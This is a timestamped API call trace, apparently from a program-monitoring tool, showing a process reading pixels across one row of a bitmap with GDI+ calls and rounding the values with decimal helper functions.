	[0073.390] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=123, y=0, color=0x1c69c760) returned 0x0
	[0073.390] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.390] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.390] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.390] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.391] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=124, y=0, color=0x1c69c760) returned 0x0
	[0073.391] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.391] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.391] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.391] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.391] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=125, y=0, color=0x1c69c760) returned 0x0
	[0073.392] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.392] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.392] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.392] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.392] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=126, y=0, color=0x1c69c760) returned 0x0
	[0073.392] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.392] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.392] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.392] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.392] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=127, y=0, color=0x1c69c760) returned 0x0
	[0073.393] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.393] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.393] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.393] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.393] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=128, y=0, color=0x1c69c760) returned 0x0
	[0073.393] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.393] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.394] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.394] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.394] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=129, y=0, color=0x1c69c760) returned 0x0
	[0073.394] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.394] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.394] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.394] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.394] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=130, y=0, color=0x1c69c760) returned 0x0
	[0073.394] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.395] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.395] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.395] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.395] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=131, y=0, color=0x1c69c760) returned 0x0
	[0073.395] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.395] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.395] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.395] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.395] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=132, y=0, color=0x1c69c760) returned 0x0
	[0073.395] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.396] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.396] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.396] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.396] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=133, y=0, color=0x1c69c760) returned 0x0
	[0073.396] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.396] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.396] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.396] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.396] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=134, y=0, color=0x1c69c760) returned 0x0
	[0073.397] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.397] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.397] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.397] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.397] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=135, y=0, color=0x1c69c760) returned 0x0
	[0073.397] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.397] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.397] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.397] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.397] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=136, y=0, color=0x1c69c760) returned 0x0
	[0073.400] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.400] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.400] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.400] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.401] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=137, y=0, color=0x1c69c760) returned 0x0
	[0073.401] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.401] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.401] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.401] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.401] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=138, y=0, color=0x1c69c760) returned 0x0
	[0073.401] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.401] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.402] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.402] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.402] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=139, y=0, color=0x1c69c760) returned 0x0
	[0073.402] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.402] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.402] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.402] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.402] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=140, y=0, color=0x1c69c760) returned 0x0
	[0073.402] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.403] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.403] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.403] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.403] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=141, y=0, color=0x1c69c760) returned 0x0
	[0073.403] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.403] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.403] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.403] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.403] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=142, y=0, color=0x1c69c760) returned 0x0
	[0073.404] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.404] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.404] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.404] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.404] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=143, y=0, color=0x1c69c760) returned 0x0
	[0073.404] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.404] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.404] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.405] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.405] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=144, y=0, color=0x1c69c760) returned 0x0
	[0073.405] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.405] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.405] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.405] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.405] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=145, y=0, color=0x1c69c760) returned 0x0
	[0073.405] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.406] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.406] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.406] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.406] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=146, y=0, color=0x1c69c760) returned 0x0
	[0073.406] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.406] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.406] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.406] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.406] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=147, y=0, color=0x1c69c760) returned 0x0
	[0073.407] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.407] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.407] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.407] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.407] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=148, y=0, color=0x1c69c760) returned 0x0
	[0073.407] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.407] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.407] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.407] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.407] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=149, y=0, color=0x1c69c760) returned 0x0
	[0073.408] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.408] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.408] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.408] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.408] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=150, y=0, color=0x1c69c760) returned 0x0
	[0073.408] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.408] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.408] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.408] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.408] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=151, y=0, color=0x1c69c760) returned 0x0
	[0073.409] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.409] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.409] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.409] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.409] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=152, y=0, color=0x1c69c760) returned 0x0
	[0073.409] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.409] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.409] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.409] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.410] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=153, y=0, color=0x1c69c760) returned 0x0
	[0073.410] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.410] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.410] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.410] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.410] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=154, y=0, color=0x1c69c760) returned 0x0
	[0073.410] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.410] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.410] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.410] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.411] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=155, y=0, color=0x1c69c760) returned 0x0
	[0073.411] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.411] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.411] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.411] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.411] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=156, y=0, color=0x1c69c760) returned 0x0
	[0073.411] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.411] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.411] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.412] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.412] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=157, y=0, color=0x1c69c760) returned 0x0
	[0073.412] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.412] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.412] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.412] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.412] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=158, y=0, color=0x1c69c760) returned 0x0
	[0073.412] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.412] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.412] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.413] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.413] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=159, y=0, color=0x1c69c760) returned 0x0
	[0073.413] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.413] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.413] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.413] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.413] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=160, y=0, color=0x1c69c760) returned 0x0
	[0073.413] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.414] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.414] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.414] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.414] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=161, y=0, color=0x1c69c760) returned 0x0
	[0073.414] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.414] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.414] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.414] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.414] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=162, y=0, color=0x1c69c760) returned 0x0
	[0073.414] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.415] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.415] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.415] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.415] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=163, y=0, color=0x1c69c760) returned 0x0
	[0073.415] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.415] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.415] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.415] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.415] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=164, y=0, color=0x1c69c760) returned 0x0
	[0073.416] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.416] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.416] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.416] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.416] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=165, y=0, color=0x1c69c760) returned 0x0
	[0073.416] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.416] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.416] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.416] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.417] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=166, y=0, color=0x1c69c760) returned 0x0
	[0073.417] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.417] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.417] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.417] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.417] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=167, y=0, color=0x1c69c760) returned 0x0
	[0073.417] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.417] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.417] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.418] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.418] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=168, y=0, color=0x1c69c760) returned 0x0
	[0073.418] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.418] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.418] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.418] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.418] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=169, y=0, color=0x1c69c760) returned 0x0
	[0073.418] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.418] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.419] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.419] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.419] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=170, y=0, color=0x1c69c760) returned 0x0
	[0073.419] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.419] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.419] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.419] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.419] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=171, y=0, color=0x1c69c760) returned 0x0
	[0073.420] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.420] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.420] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.420] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.420] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=172, y=0, color=0x1c69c760) returned 0x0
	[0073.420] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
